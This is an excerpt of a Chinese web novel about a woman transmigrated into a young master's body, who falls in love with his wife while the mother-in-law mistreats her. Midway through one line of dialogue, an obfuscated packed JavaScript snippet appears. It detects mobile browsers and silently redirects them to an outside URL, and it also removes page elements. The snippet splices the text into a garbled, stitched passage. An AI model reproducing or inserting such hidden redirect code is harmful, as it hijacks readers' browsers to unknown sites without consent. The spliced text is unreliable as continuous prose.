李傲雪顿时羞得满脸通红,头不自觉地低了下去,嗫嚅着说道:“母亲,如今我还在调养身子,少爷还没有碰我……”声音细微,仿佛一阵风就能将其吹散,满是女儿家在长辈面前谈论此事的窘迫。 肖母微微皱眉,眼神中闪过一丝忧虑,但很快又恢复了温和。她轻轻握住李傲雪的手,语重心长地说道:“孩子,我知道你身子还未痊愈,可这夫妻之事,有时候也是增进感情的关键。你也别太心急,等身子好些,再找机会好好与晨儿相处。但也得主动些,莫要错过了增进感情的时机。” 李傲雪微微点头,轻声应道:“是,母亲,我明白您的意思。只是此事……我实在有些难以启齿。” 肖母拍了拍李傲雪的手,安慰道:“傻孩子,这有什么难以启齿的。你们既是夫妻,有些事自然要好好经营。等你身子调养好,寻个恰当的时机,把你的心意传达给晨儿,相信他会明白的。” 李傲雪红着脸,再次点头:“多谢母亲教诲,傲雪记住了。” 肖母心中暗自腹诽,觉得李傲雪中看不中用,不过是身子娇弱些,竟连自己男人都伺候不好,还整日说着调养。这般想着,她脸色微微一沉,开口道:“这老爷在外面忙着生意,家里上下就我和你在操持。如今你也恢复了些,往后我让你做什么,都不许告诉你家少爷。我可不想听他跑来跟我告状。” 李傲雪心中一惊,抬眸看向肖母,眼中满是委屈与不解,但还是赶忙应道:“母亲放心,傲雪明白,傲雪定不会跟少爷说的。” 肖母满意地点点头,目光在李傲雪身上打量一番,继续说道:“这家里的事繁杂,我年纪大了,很多事力不从心。你既已嫁入肖家,就得担起少夫人的责任。从明日起,你就跟着我学着操持家务,别整日只知道调养身子。” 李傲雪心中虽有几分担忧自己的身体是否能承受,但又不敢违抗肖母的命令,只得轻声答道:“是,母亲,傲雪会努力学着做的。” 肖母微微眯起眼睛,似是在审视李傲雪的态度,片刻后说道:“记住你今日说的话,别到时候敷衍了事。这肖家的规矩,你可得好好遵守。”说完,她转身缓缓离去,留下李傲雪一人呆立在原地,心中五味杂陈,不知等待自己的将会是怎样的日子。 26. 他被掰弯了,爱上了她 肖晨结束了一天的课业,便带着阿成径直来到自家的店铺。刚一进门,掌柜的满脸堆笑,快步迎了上来,激动地说道:“少爷,您上次想的办法实在是太好了!自打推出男女试穿衣服的法子,外面的人蜂拥而至,都开始来咱们店里订做衣服,这生意比之前红火了好几倍呢!” 肖晨嘴角微微上扬,露出欣慰的笑容:“哦?看来效果还不错。大家都喜欢这种方式,说明咱们的思路是对的。”说着,他迈步在店内巡视起来,只见店里顾客盈门,伙计们忙得不可开交,柜台上摆满了各式各样的订单。 掌柜的紧跟在肖晨身后,继续汇报道:“少爷,还有不少客人说,咱们店里的款式新颖,试穿之后更能确定合不合身,所以都愿意在咱们这儿做衣裳。现在布料都快不够用了,我正打算这几日再多进些货呢。” 肖晨停下脚步,思索片刻后说道:“进货的事你安排好就行,一定要保证布料的品质。另外,让伙计们多留意顾客的反馈,看看大家还有什么新的需求,咱们也好及时调整款式。” “是,少爷,您放心,我都记下了。”掌柜的连忙点头应道。 肖晨又叮嘱了几句,便转身准备离开。临出门时,他对掌柜的说道:“这段时间大家都辛苦了,等月底结算,给伙计们多发些赏钱,好好犒劳一下大家。” 掌柜的感激涕零:“多谢少爷体恤,我一定把您的话带到,伙计们知道了,肯定更有干劲儿!”肖晨笑着点点头,带着阿成离开了店铺,心中思索着如何让生意更上一层楼。 林羽在熙攘的街道上远远瞧见肖晨,赶忙加快脚步迎上前去,热情洋溢地招呼道:“肖兄,这是出来散心嘛?” 肖晨微笑着回应:“嗯,也没什么特别事儿,就随便出来看看。” 林羽眼睛一转,脸上浮现出一抹狡黠的笑意,凑近肖晨说道:“既然如此,不如我们去找点乐子吧?” 肖晨微微皱眉,心中已然猜到几分,试探着问道:“不会又去那种烟花之地吧?” 林羽哈哈一笑,拍了拍肖晨的肩膀:“肖兄果然了解我。不过嘛,那地方多热闹有趣啊,有美酒佳人相伴,还能听听小曲儿,放松放松身心。” 肖晨连忙摆手,正色道:“林兄,我可没这兴致。我家中已有娇妻,况且那种地方,虽说能解一时之乐,却非长久之计,于名声也有损。” 林羽撇了撇嘴,不以为然道:“肖兄也太拘谨了,偶尔去一次,只要不声张,又有何妨?再说了,咱们年轻,不趁着这时候好好玩乐一番,等老了可就没机会了。” 肖晨坚定地摇摇头:“林兄,每个人想法不同。我还是觉得,珍惜眼前人,好好经营家庭才是正理。你若想去,我就不奉陪了。”说完,便准备告辞离开。 林羽见状,赶忙拉住肖晨:“得得得,肖兄不愿去,我不强求便是。那你说,咱们找点儿什么别的乐子?” 肖晨思索片刻后提议道:“既然如此,我们可以去书店看看书,沉浸在墨香之中,倒也惬意;或者骑马去郊外溜溜,感受下大自然的风光,如何?” 林羽满脸无奈地摆摆手,嫌弃道:“哎呀,那些太无聊了,看书多枯燥,骑马跑来跑去有什么意思,哪有热闹来得痛快。”他眼珠一转,嘴角勾起一抹促狭的笑,“肖兄,你上次跟丁香姑娘不是那么投缘嘛,今日就不想去看她吗?” 肖晨心中一紧,想起家中的李傲雪,眉头微皱道:“林兄,休要再提此事。我与丁香姑娘不过是知音之交,欣赏她的琴艺罢了。我既已成婚,自当与妻子举案齐眉,怎能随意去见其他女子,以免傲雪心生不快。” 林羽不以为然地挑挑眉:“肖兄,你也太把家中夫人放在心上了吧。不过见个面,听个曲儿,又不会怎样。再说了,男人嘛,在外应酬交际,逢场作戏也属正常,你不必如此谨小慎微。” 肖晨严肃地看向林羽:“林兄,此言差矣。夫妻之间贵在忠诚,我既已与傲雪结为连理,便要对她负责。况且,我对傲雪是真心相待,怎能做出让她伤心之事。你日后也莫要再提此类建议。” 林羽见肖晨如此坚决,自知再劝无用,只好作罢:“好好好,算我多嘴。那依肖兄之见,咱们到底去做些什么?总不能就这么在街上闲逛吧。” 肖晨思索片刻,目光望向不远处热闹的集市,说道:“集市那边人来人往,极为热闹。听闻近日来了不少杂耍班子和民间艺人,不如我们去凑凑热闹,说不定能发现些有趣玩意儿。” 林羽眼睛一亮,脸上露出些许期待:“这个主意倒不错,走走走,去看看。”两人并肩朝着集市走去,周围人群熙熙攘攘,各种叫卖声、谈笑声交织在一起。 刚走进集市,便看到一个杂耍摊位,一位艺人正将手中的飞刀精准地掷向木板,引得围观人群阵阵喝彩。林羽看得目不转睛,兴奋地鼓掌叫好。肖晨也饶有兴致地观看着,感受着这热闹非凡的市井气息。 穿过杂耍摊位,他们又瞧见一个卖字画的小摊。肖晨停下脚步,俯身仔细端详起一幅幅字画。摊主热情地介绍着每一幅画的来历和特点,林羽却显得兴致缺缺,在一旁不停地催促:“肖兄,这些字画有什么好看的,咱们再去别处转转。” 肖晨直起身,笑着说道:“林兄莫急,偶尔欣赏欣赏字画,也能陶冶情操。”话虽如此,他还是跟着林羽继续前行。 没走多远,一阵悠扬的笛声传来。两人顺着声音寻去,只见一位老者正坐在街边吹奏笛子,身旁放着一个竹篮,里面装着一些自制的小竹笛售卖。肖晨被这笛声吸引,驻足聆听,林羽则好奇地拿起竹篮里的竹笛摆弄着。 待老者一曲吹罢,肖晨走上前夸赞道:“老人家,您这笛音悠扬婉转,实在动听。”老者笑着点头致谢。肖晨又询问了竹笛的制作工艺,与老者交谈甚欢。林羽在一旁等得不耐烦,扯了扯肖晨的衣袖:“肖兄,差不多行了,咱们赶紧去别处看看吧。” 肖晨只好向老者告辞,与林羽继续在集市中闲逛。不知不觉,天色渐晚,集市上的人群也渐渐散去。林羽意犹未尽地说道:“今日在集市逛了一圈,倒也有趣,不枉此行。”肖晨微笑着点头:“是啊,市井之中,藏着许多乐趣,只要用心去发现。”两人带着满足的笑容,踏上了归途。 两人告辞后,肖晨独自走着,脑海里突然浮现出李傲雪的面容,想着她这段时间调养身子,便寻思着买点护肤品给她。毕竟自己在现代一直习惯素颜,可这古代的护肤用品他还真不太了解。 于是,他转头问身旁的阿成:“阿成,你知道这买女子用的东西在哪里吗?” 阿成微微一愣,随即反应过来,恭敬地回答道:“少爷,若是买女子用的护肤品,前街有几家香粉铺子,里面的东西颇为齐全,夫人小姐们常去那儿采买。” 肖晨点点头,说道:“那咱们去看看。”主仆二人很快来到前街,只见一家店铺门口,摆放着各种精致的瓶瓶罐罐,招牌上写着“雅芳斋香粉铺”。 肖晨迈进店内,一股淡雅的香气扑面而来。掌柜的见有客人,立刻笑脸相迎:“公子,您要点什么?小店的香粉、胭脂、面脂都是上等货色。” 肖晨有些不知所措,环顾四周,问道:“掌柜的,我想买些适合夫人调养身子时用的护肤品,你这儿可有推荐?” 掌柜的眼睛一亮,连忙说道:“公子真是体贴。夫人调养身子,皮肤易干燥,可用咱们店的珍珠玉容膏,这膏子用珍珠粉、蜂蜜等物调制而成,能滋养肌肤,使皮肤细腻光滑。还有这玫瑰露,洗脸后拍在脸上,清香宜人,也有养颜的功效。” 肖晨听着掌柜的介绍,觉得都不错,便说道:“每样都给我包一些。”掌柜的喜笑颜开,赶忙动手包装。不一会儿,便将几样东西包好递给肖晨。肖晨付了钱,带着东西满意地离开了香粉铺,心中想着李傲雪收到这些时惊喜的模样,脚步也轻快了许多。 肖母瞧着天色渐暗,儿子却还不见踪影,便吩咐丫鬟去唤李傲雪过来。不多时,李傲雪匆匆赶来,规规矩矩地行了礼。肖母抬眼打量她一番,问道:“饭菜都备好了吗?”李傲雪赶忙应道:“儿媳都备好了,母亲。” 肖母微微点头,语气里难得带出一丝认可:“还算你勤快。”紧接着,她眉头一皱,不耐烦地说道:“你还站在那里干嘛,还不快过来给我倒茶,捶背。” 李傲雪不敢迟疑,连忙走到桌旁,熟练地拿起茶壶,为肖母斟了一盏茶,双手递上:“母亲,请用茶。”随后,她轻轻走到肖母身后,伸出双手,开始为肖母捶背,手法轻重适中。 肖母抿了口茶,微微眯起眼睛,享受着李傲雪的伺候,嘴里却依旧念叨着:“这男人在外忙事业,咱们女人在家,就得把家里打理好,让他们无后顾之忧。你既要照顾好晨儿,也要多分担些家里的事儿,别总让人操心。” 李傲雪一边认真捶背,一边轻声回应:“是,母亲教诲得是,儿媳定当努力操持好家中诸事,不让母亲和少爷操心。” 肖母半眯着眼,感受着李傲雪不轻不重的捶背力度,心里暗自思忖:这媳妇调教着就是舒坦,可算是知道拿捏她的法子了。自己可得趁着这机会好好过过瘾。 想到这儿,她又睁开眼,斜睨了李傲雪一眼,在她心里,李傲雪至今没能伺候好儿子,没能让自己尽快抱上孙子,这就是李傲雪的错。于是,肖母冷哼一声,说道:“你虽说做了些事儿,但这伺候人的功夫,还得再练练。就说晨儿,他每日读书、操持生意,多辛苦,你可得多上心。” 李傲雪心里一阵委屈,却不敢表露分毫,赶忙应道:“是,母亲,儿媳日后一定更加用心伺候少爷。只是少爷体贴,见儿媳身子尚未大好,总不让我操劳。” 肖母不以为然,皱着眉道:“他体贴是他的事,你可不能就这么懈怠了。身子不好就好好调养,调养好了,就得尽到做妻子的本分,早日给我们肖家添个一儿半女,这才是正事。” 李傲雪脸颊绯红,低着头轻声道:“儿媳明白,定不负母亲期望。” 肖母这才满意地点点头,重新闭上眼睛,继续享受李傲雪的伺候,嘴里还时不时地吐出几句教导,李傲雪则只能默默听着,将委屈往肚里咽。 肖晨快至家门口时,扭头看向身旁的阿成,低声叮嘱道:“你到晚饭后再把礼物交给我,千万不要让老夫人看到。”他心中暗自思忖,母亲对傲雪的态度本就有些严苛,若是看到自己给傲雪买了护肤品,指不定又要生出什么事端,他实在不想因为这事闹得婆媳矛盾,徒增烦恼。 阿成心领神会,赶忙点头应道:“少爷放心,小的明白。等晚饭后,避开老夫人,小的就把东西给您送来。” 肖晨微微颔首,抬脚迈进家门。一进院子,便瞧见李傲雪正从肖母的房间出来,神色间带着几分疲惫与委屈。肖晨心中一紧,快步迎上去,轻声问道:“傲雪,怎么了?是不是母亲又为难你了?” 李傲雪抬头看到肖晨,眼中闪过一丝惊喜,随即又强挤出一抹笑容,说道:“没有,少爷,母亲只是让我做了些事,我不累。你今日出去,可还顺利?” 肖晨看着她强装镇定的模样,心疼不已,但也知道此时不宜深究,便顺着她的话说道:“一切都好,出去转了转,也处理了些事情。”说着,他牵起李傲雪的手,柔声道:“走,咱们先回房,你也歇一歇。” 两人携手回到房间,李傲雪忙着去准备热水,好让肖晨洗漱。肖晨看着她忙碌的身影,暗暗下定决心,一定要找个合适的时机,好好跟母亲谈一谈,缓和母亲与傲雪之间的关系,不能再让傲雪受委屈了。 肖晨洗完澡,一身清爽地从内室走出,朝门外轻声唤道:“阿成。”阿成立刻推门而入,手中捧着一个精致的包裹,恭敬地递给肖晨后便退了出去。 肖晨走到正坐在床边的李傲雪身旁,脸上带着温柔的笑意,将包裹递到她面前,说道:“傲雪,这是我特意为你准备的,你看看合不合适。女孩子的皮肤娇嫩,可要好好呵护。” 李傲雪微微一愣,眼中满是惊讶与惊喜。她轻轻接过包裹,手指有些颤抖地解开系着的丝带,打开一看,里面是几样包装精美的护肤品,有珍珠玉容膏、玫瑰露,还有一些香粉。 “少爷,你……”李傲雪抬起头,眼中闪烁着感动的泪花,嘴唇微微颤抖,一时竟不知该说什么好。她没想到肖晨在忙碌之余,还能惦记着给自己买这些东西。 肖晨抬手轻轻拭去她眼角的泪花,柔声道:“傻丫头,怎么还哭了。喜欢吗?我听掌柜的说,这些对调养皮肤很有好处。” 李傲雪忙不迭点头,声音带着一丝哽咽:“喜欢,少爷,我很喜欢。你对我真好。”说着,她将头靠在肖晨肩上,心中满是幸福与甜蜜。这一刻,白天在肖母那儿所受的委屈,仿佛都在肖晨的这份心意中烟消云散了。 肖晨满眼深情,温柔地说道:“我不对你好对谁好,何况你对我也不错。我不能只顾自己……”话还未说完,李傲雪眼中爱意涌动,踮起脚尖,主动吻了上去。 肖晨微微一怔,随即眼中满是宠溺,抬手轻轻抚摸着她的背,动作轻柔舒缓,仿佛在安抚一只受惊的小鹿。他也缓缓回应着她的吻,唇齿间传递着无尽的眷恋与深情。 两人缓缓结束了这个深情的吻,肖晨微微喘着气,脸上带着一抹淡淡的红晕。他轻轻抬起李傲雪的下巴,目光温柔且带着一丝戏谑,笑着说道:“你呀,总是这么主动。倒让我都有些不好意思了。” 李傲雪双颊绯红,宛如熟透的苹果,她微微低下头,避开肖晨炽热的目光,娇嗔道:“还不是因为少爷对我这般好,我……我实在是忍不住嘛。”声音轻柔得如同呢喃,满是小女儿的娇羞与甜蜜。 肖晨看着她这副可爱的模样,忍不住轻笑出声,伸手将她轻轻揽入怀中,下巴抵在她的头顶,轻声说道:“我对你好是应该的。只是以后,别总是这么容易感动,不然我可得心疼了。”说着,他收紧了手臂,仿佛要将她融入自己的身体一般。 李傲雪在肖晨怀中,听着他有力的心跳,感受着这份温暖与安心,脸上洋溢着幸福的笑容。过了一会儿,她抬起头,眼神中带着俏皮与期待,说道:“少爷,那以后你还会给我准备更多这样的惊喜吗?” 肖晨低头看着她,眼中满是宠溺,刮了刮她的鼻子,笑道:“只要你喜欢,自然会有。你呀,想要什么只管跟我说,我定会满足你。” 李傲雪眼睛一亮,思索片刻后,说道:“我想和少爷一起去郊外踏青,去看看那漫山遍野的野花,感受春天的气息。不知道少爷可有空陪我?” 肖晨毫不犹豫地点点头:“当然有空,等选个风和日丽的日子,咱们就去。我还要带上笔墨纸砚,将那美景画下来,也把你画进画里。” 李傲雪听闻,开心得像个孩子,双手搂住肖晨的脖子,在他脸颊上亲了一下,说道:“少爷真好!我都迫不及待了。” 肖晨抱紧她,轻声说:“其实,只要能看到你这般开心,我做什么都愿意。不过,出门在外,你可得听我的,不能乱跑,知道吗?” 李傲雪乖巧地点点头:“知道啦,我肯定听话。少爷,那咱们去郊外踏青的时候,能不能带上一些好吃的,咱们在草地上野餐,想想就美好。” 肖晨笑着应道:“好,都依你。让厨房准备你最爱吃的点心和菜肴,咱们好好享受一番。” 李傲雪微微仰头,眼中闪过一丝忧虑,轻声说道:“少爷,你对我这么好,我有时候难免会患得患失。万一哪天有别的女人爱慕你,你会不会就不再像现在这样对我好了?我不是嫉妒,真的。要是……要是你喜欢上别的女人,我也是可以接受她们进府的。只是,你千万不要抛下我就好。”她声音越说越低,最后几近哽咽。 肖晨心中一紧,双手捧起她的脸,目光坚定而深情地看着她,认真说道:“不会的,傲雪,你怎么能这么想呢?我怎么会抛下你呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993187|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我自认为并非什么出众之人,能有你真心喜欢我,全心全意对我,我已经觉得无比幸运了。以前的我,总觉得自己平平无奇,甚至都没人多看我一眼,更别提有人真心喜欢我。可自从有了你,我的世界变得不一样了,你就是我生命中最重要的人,我又怎会去留意别人。” 李傲雪凝视着肖晨的眼睛,试图从他的眼神里寻找答案。看到的只有满满的真诚与爱意,她心中的担忧稍稍减轻了些。她吸了吸鼻子,破涕为笑:“少爷,我相信你。只是我太害怕失去你了,所以才会胡思乱想。” 肖晨将她紧紧拥入怀中,轻轻拍着她的背,安慰道:“别害怕,我会一直在你身边。以后不许再胡思乱想了,知道吗?不管发生什么,我都不会抛下你,我们会一直在一起。”李傲雪在他怀中用力地点点头,感受着肖晨给予的温暖与安心,仿佛所有的不安都在这一刻烟消云散。 肖晨抱紧李傲雪,深情地说道:“你可是我见过最特别的女子,温柔善良又聪慧。可你总无端担心我会抛弃你,真让我心疼。” 李傲雪眼眶微红,声音带着一丝颤抖:“少爷就是我的全部啊。我深知在这深宅大院,唯有做好自己,事事周全,家里人才会喜欢我,也才能让少爷一直对我欢心。” 肖晨微微皱眉,抬手轻轻擦去她眼角的泪,语重心长道:“傲雪,你无需如此小心翼翼。喜欢就是喜欢,无关其他。你本就很好,无需为了讨好谁而刻意改变。在我心里,你不做任何改变,就已是无可替代。我对你的心意,不会因任何事而改变。” 李傲雪抬头望着肖晨,眼中满是感动:“少爷,能听到你这番话,傲雪此生无憾。只是肖家规矩多,婆婆又对我要求严格,我实在怕做错事,让你为难。” 肖晨心疼地将她搂得更紧:“母亲那边,我会找机会好好沟通。你莫要给自己太大压力,以后有什么事,都与我商量,我们一起面对,可好?” 李傲雪用力点头,靠在肖晨怀里,感受着他的温暖与支持,心中满是慰藉。这一刻,她仿佛拥有了对抗一切困难的勇气。 肖晨说到:要是有一天,我去了别的地方,会有一个跟我一模一样的人出现做你的丈夫,依旧对你好。不知道他会不会爱你。你会接受他吗? 李傲雪听闻此言,心中猛地一紧,忙不迭从肖晨怀中抬起头,眼中满是惊慌与不可置信,急切道:“少爷,您为何要说这般话?您怎会去别的地方?又怎会有与您一模一样之人?我只要您,除了您,我谁都不接受。”她紧紧揪住肖晨的衣袖,仿佛生怕他下一秒就会消失不见。 肖晨看着她慌乱的模样,心中一阵刺痛,轻抚她的头发,柔声道:“我只是假设,假设而已。倘若真有那么一天,那个人能如我一般对你好,你……” 未等肖晨说完,李傲雪便坚决地打断他:“不会有那一天的,少爷。即便真有,我也不会接受。我爱的是您,是您的一切,您的笑容、您的关怀、您的温柔,这些旁人即便模样相同,也学不来。”说着,她的眼眶红了,泪水在眼眶里打转,“少爷,您不要离开我,好不好?” 肖晨见她如此,心疼不已,将她再次拥入怀中,自责道:“是我不好,不该说这些话让你担忧害怕。我不会离开你的,永远都不会。” 李傲雪紧紧依偎着肖晨,带着哭腔说道:“只要少爷不离开我就好,我别无所求。” 肖晨轻抚着她的背,半开玩笑却又似暗藏试探地说道:“那要是我现在的灵魂其实是个女孩,却依旧与你生活在一起,你会接受吗?” 李傲雪微微一愣,抬眸凝视着肖晨,眼中满是认真思索之色。片刻后,她缓缓开口:“少爷,于我而言,重要的并非您的躯壳,而是您的灵魂,您的心意。这些日子相处下来,我深知您的善良、温柔与深情。若您的灵魂真是女孩,可对我的好一如既往,那又有何妨?我想,我依旧会与您相伴,就像现在这样。因为,我爱的是您这个人,是您独一无二的灵魂。” 肖晨听着李傲雪这番诚挚的话语,心中满是感动与欣慰,将她搂得更紧,感慨道:“傲雪,能得你这般深情,是我此生之幸。我定不负你。” 李傲雪靠在肖晨怀里,感受着他温暖而有力的怀抱,心中满是笃定与安心。她轻声说道:“少爷,咱们说好了,不管遇到什么,都不许再提这些让人害怕的假设了。” 肖晨笑着点头,在她额头上轻轻落下一吻:“好,都听你的。刚刚是我不好,净说些有的没的,让你担惊受怕。” 两人相拥着,享受着这片刻的宁静与甜蜜。过了一会儿,李傲雪突然想起什么,抬起头看着肖晨,俏皮地说:“少爷,若是真有那么奇妙的事,你变成了女子,咱们的生活说不定会很有趣呢。” 肖晨挑了挑眉,配合着她的想象:“哦?怎么个有趣法?说来听听。” 李傲雪眼睛亮晶晶的,兴致勃勃地说道:“要是少爷变成女子,肯定也是极美的,说不定会有许多公子哥儿上门提亲呢。我呀,就守在你身边,把那些心怀不轨的人都赶走。” 肖晨被她的话逗笑,点了点她的鼻尖:“那可辛苦你了。不过依我看,就算我变成女子,心里也只有你,才不会理会那些提亲的人。” 李傲雪嘻嘻一笑:“那当然,少爷对我最好啦。不过话说回来,要是真那样,咱们还能像现在这样一起谈天说地,一起游山玩水吗?” 肖晨思索片刻,认真说道:“自然能。不管我变成什么样子,咱们之间的情谊不会变。而且,说不定还能以不一样的身份,去体验更多有趣的事儿。” 李傲雪听了,脸上洋溢着幸福的笑容:“嗯,只要能和少爷在一起,不管怎样我都开心。” 肖晨深情地看着李傲雪,诚挚说道:“我现在也离不开你啊,自从有了你,你让我的一切都改变了。”他在心中默默感慨,回想起在现代时,自己身为女孩子,倾心的皆是帅哥。然而如今身处古代,竟不知不觉被李傲雪深深影响,连性取向都仿佛发生了转变。但这种改变,却让他感受到前所未有的幸福与满足,他已然彻底爱上了眼前这个温柔善良的女人。 李傲雪脸颊绯红,眼中满是羞涩与喜悦,轻声道:“少爷,我也一样,您就是我生命里最重要的人。” 肖晨轻轻握住她的手,十指交缠,语气坚定:“傲雪,往后余生,无论遇到什么,我都不会松开你的手,定与你相伴到底。” 李傲雪微微点头,眼角溢出感动的泪花,在烛光的映照下,宛如晶莹的珍珠。 肖晨微微低下头,脸上带着一丝腼腆与犹豫,缓缓说道:“傲雪,我会努力尝试做好一个丈夫,对你的亲近,我也会慢慢去适应。只是我……我心里确实有点心结,对于男女之间这方面的事,我着实不太懂。” 李傲雪微微一愣,随即脸上浮现出一抹理解的笑容。她轻轻握住肖晨的手,柔声道:“少爷,您别为难自己。感情之事,本就需慢慢来。您有什么心结,不妨说与我听,咱们一起解开它。” 肖晨抬眼,看着李傲雪真诚的目光,心中稍感宽慰。他沉吟片刻,缓缓说道:“或许是过往经历的缘故,我对于男女间过于亲密的举动,总有些不知所措。并非我不想与你亲近,只是心底总有那么一丝顾虑,让我难以放开。” 李傲雪轻轻靠在肖晨肩头,轻声安慰道:“少爷,我明白。您无需着急,我们有的是时间。感情的增进并非一蹴而就,咱们可以从日常相处的点滴做起,您觉得自在舒适就好。只要您在我身边,我便心安。” 肖晨听着李傲雪善解人意的话语,心中的结仿佛松动了几分。他揽紧李傲雪,感慨道:“傲雪,有你这般体谅我,是我的福气。我会努力克服,不负你的深情。” 李傲雪抬头,与肖晨四目相对,眼中满是坚定与温柔:“嗯,我相信少爷。无论怎样,我都会一直陪着您。”两人相拥而坐,在静谧的氛围中,彼此的心愈发贴近,共同期许着未来的美好时光。 27. 回现代,父母不接受李傲雪 肖晨说到以后要是母亲在为难你,你一定要告诉我,不要让自己受苦,不然我会很心疼的。 李傲雪心中一阵暖流涌动,感动于肖晨对自己的关怀。她微微咬着嘴唇,眼中闪过一丝犹豫,终究还是将到嘴边的话咽了回去。 她轻轻点了点头,强颜欢笑道:“少爷放心,母亲她……她也并非是为难我,只是对我要求严格些罢了,都是为了我好,我能应付得来。” 肖晨微微皱眉,眼中满是担忧:“傲雪,你不必替母亲辩解。我知道她有时候确实有些严厉,若她的要求让你觉得委屈,一定不要瞒着我。你是我的妻子,我不能看着你受委屈。” 李傲雪心中五味杂陈,她深知肖晨的真心,可肖母之前郑重的嘱咐还在耳边回响:“傲雪,你若真心为晨儿好,就别拿这些琐事去烦他,他有自己的大业要忙,莫要让他分心。” 李傲雪深吸一口气,努力让自己的声音听起来轻松些:“真的没事,少爷。我和母亲相处得挺好的,您别担心了。您只要好好做您的事,便是对我最大的支持。” 肖晨凝视着李傲雪,似乎想从她的眼神中看出些端倪。见她神色坚定,不像是在说谎,心中的担忧稍稍减轻了些,但仍隐隐觉得有些不对劲。 他轻轻抚摸着李傲雪的头发,说道:“傲雪,你若是遇到什么难处,千万不要一个人扛着。我们是夫妻,理应同甘共苦。母亲那边,我也会找机会和她好好说说,让她明白,你的感受同样重要。” 李傲雪心中一紧,连忙说道:“少爷,真的不用。您别因为我和母亲起争执,那样我心里会过意不去的。我真的能处理好和母亲的关系,您相信我。” 肖晨看着李傲雪焦急的模样,无奈地叹了口气:“好吧,既然你这么说,我便暂且相信你。但你记住,若是有任何不妥,一定要第一时间告诉我,知道吗?” 李傲雪乖巧地点点头,心中却暗自发愁。她不知道该如何在不违背肖母嘱咐的前提下,又不让肖晨担心自己。在这份复杂的婆媳与夫妻关系中,她感到有些迷茫,却又坚定了自己要努力维持家庭和睦的决心,只希望未来一切都会慢慢好起来。 日子在李傲雪小心翼翼的维系中缓缓流淌。肖晨因着心中对李傲雪的牵挂,越发留意起她与母亲相处的细节。 一日午后,肖晨处理完事务回房,路过花园时,看到母亲与李傲雪正坐在亭中。他下意识地放慢脚步,想要悄悄观察二人。只见肖母面色严肃,正说着什么,而李傲雪则低着头,神情有些落寞,手中的帕子不自觉地绞着。 肖晨心中一紧,赶忙走上前去。“母亲,傲雪,你们在聊什么?”他笑着问道,可目光却紧紧锁在李傲雪身上。 肖母看了他一眼,说道:“没什么,我正教导傲雪一些管家的事宜。” 李傲雪连忙抬起头,挤出一丝笑容:“是啊,少爷,母亲教导我许多,我正受益匪浅呢。” 肖晨虽心中存疑,但见两人如此说,也不好再多问。待肖母离开后,他拉着李傲雪的手,轻声问道:“傲雪,你是不是有什么事瞒着我?方才我看你神色不对。” 李傲雪心中慌乱,忙摇头道:“没有,少爷,您多心了。母亲只是说我管家还有些生疏,我在反省自己呢。” 肖晨看着李傲雪闪躲的眼神,心中笃定她有事隐瞒。他轻轻叹了口气,将李傲雪拥入怀中:“傲雪,你我夫妻之间,无需这般小心翼翼。若母亲真有什么让你为难的,说出来,我们一起解决。你这样瞒着我,我只会更担心。” 李傲雪在肖晨怀中,泪水忍不住夺眶而出。这些日子以来,肖母对她的诸多要求和偶尔的指责,她都默默承受着,此刻在肖晨温暖的怀抱中,所有的委屈都如决堤的洪水般倾泻而出。 “少爷,母亲她……她总是觉得我做得不够好,无论我怎么努力,都难以让她满意。还让我别拿这些事烦你,说你有大事要忙……”李傲雪哽咽着说出了心里话。 肖晨听着,心中既心疼又有些生气。他轻抚着李傲雪的背,安慰道:“傲雪,委屈你了。母亲不该如此要求你,更不该让你独自承受这些。你是我的妻子,你的感受对我来说至关重要。” 说罢,肖晨便决定去找母亲好好谈一谈。他来到母亲的房间,恭敬地说道:“母亲,我想和您聊聊傲雪的事。” 肖母微微皱眉:“晨儿,我教导儿媳,也是为了她好,为了这个家好,你无需插手。” 肖晨诚恳地说道:“母亲,我知道您是为了这个家。可傲雪她已经很努力了,您对她的要求过于严苛,让她承受了许多委屈。她是我的妻子,我希望她能在这个家过得开心。” 肖母看着儿子坚定的眼神,心中微微动容。她思索片刻后说道:“晨儿,为娘或许是有些心急了。既然你如此在意她,为娘以后会注意的。” 肖晨心中一喜,赶忙说道:“多谢母亲。傲雪她心地善良,一心为这个家着想,往后还望母亲能多体谅她。” 从母亲房间出来后,肖晨迫不及待地找到李傲雪,将这个好消息告诉了她。李傲雪眼中泪光闪烁,既感动于肖晨为自己所做的一切,又欣慰于婆媳关系或许能就此改善。 肖母在房中来回踱步,越想越气,脸上满是不悦。“哼,平日里看着老老实实的,没想到还会在晨儿面前搬弄是非。”她眼神中透着一丝狠厉,暗自思忖着如何给李傲雪一个“教训”,又不能让儿子察觉。 过了几日,恰逢府中要举办一场重要的家宴,宴请诸多亲友。肖母觉得机会来了,便将李傲雪唤到跟前,神色严肃地说道:“傲雪,此次家宴至关重要,关系到咱们府中的颜面。府里上下的布置、菜品安排,都由你负责,可别出什么岔子。” 李傲雪心中虽有些担忧,但还是坚定地点点头:“母亲放心,儿媳定会尽心尽力。” 接下来的几天,李傲雪忙得不可开交。从挑选宴会上的菜品食材,到安排下人布置厅堂,每一个细节她都亲力亲为。然而,肖母却总是在一旁挑刺,不是说桌椅摆放不够整齐,就是嫌菜品不够精致。李傲雪只能咬着牙,一次次地返工。 家宴当天,一切看似准备就绪。宾客们陆续到来,肖母在厅堂中与众人寒暄,脸上挂着得体的笑容。李傲雪则在一旁小心伺候着,时刻留意着是否有需要她处理的事情。 就在大家入座,准备开宴之时,肖母突然脸色一变,指着桌上的一道菜说道:“傲雪,这道菜怎么回事?这可是咱们宴请贵客的家宴,你就准备这样的菜?” 众人的目光顿时都集中在那道菜上,李傲雪心中一紧,仔细看去,发现菜色确实有些不如预期。她赶忙解释道:“母亲,方才厨房那边……” 还没等她说完,肖母便打断她,冷冷说道:“平日里教你的都忘了?这点小事都办不好,真不知道你还能做什么。” 李傲雪满脸通红,心中委屈极了,可当着众人的面,她只能默默低头认错:“母亲息怒,儿媳这就去处理。” 